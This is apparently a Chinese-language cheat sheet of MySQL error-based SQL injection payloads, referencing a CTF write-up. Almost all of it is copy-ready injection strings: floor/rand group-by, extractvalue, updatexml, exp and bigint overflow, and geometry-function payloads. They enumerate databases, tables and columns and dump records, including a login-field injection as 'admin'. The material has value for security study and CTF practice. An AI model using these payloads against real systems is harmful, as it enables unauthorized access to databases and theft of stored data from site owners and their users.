参考：
http://hebin.me/2017/12/04/%E8%A5%BF%E6%99%AEctf-%E5%8A%A0%E4%BA%86%E6%96%99%E7%9A%84%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/

获取数据库个数
https://www.cnblogs.com/Dleo/p/5493782.html
获得数据库数量：
and (select 1 from(select count(*),concat((select (select (select concat(0x7e7e3a7e7e,count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
一个个获取数据库的名称 limit 0,1
and (select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e,table_schema,0x7e7e3a7e7e) from information_schema.tables limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
获取表的数量
and (select 1 from(select count(*),concat((select (select (select count(table_name)from information_schema.tables where table_schema=)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
挨个取得表名
and (select 1 from(select count(*),concat((select (select (select concat(table_name,0x20) from information_schema.tables where table_schema="security" limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
column 获得列名和表名 security.users
and (select 1 from(select count(*),concat((select (select (select concat(column_name,0x20) from information_schema.columns where table_name=0x6d6f74746f limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

先爆个数据库助助兴，拿到当前数据库 mydbs
username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
接着开始跑表，改变 limit 后面的数字就能遍历所有表：log，motto，user
username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆 motto 表中的列：id，username，motto
username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct

concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6d6f74746f LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆字段：

常规语句：and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

ExtractValue

username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)))%23

UpdateXml

and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1),0x7e),1)%23

exp 溢出注入

select exp(~(select*from(select user())x))

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x))

bigint 溢出注入

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

extractvalue()

id = 1 and (extractvalue(1, concat(0x5c,(select user()))))

procedure analyse(extractvalue(rand(),concat(0x3a,(select distinct concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1))),1)%23

updatexml()

id = 1 and (updatexml(0x3a,concat(1,(select user())),1))

select schema_name from information_schema.schemata

select table_name from information_schema.tables where table_schema=’xxxxx’

Select column_name from information_schema.columns where table_name=’xxxxx’ and table_schema="" schema_name=""

Select *** from ****

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()

id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))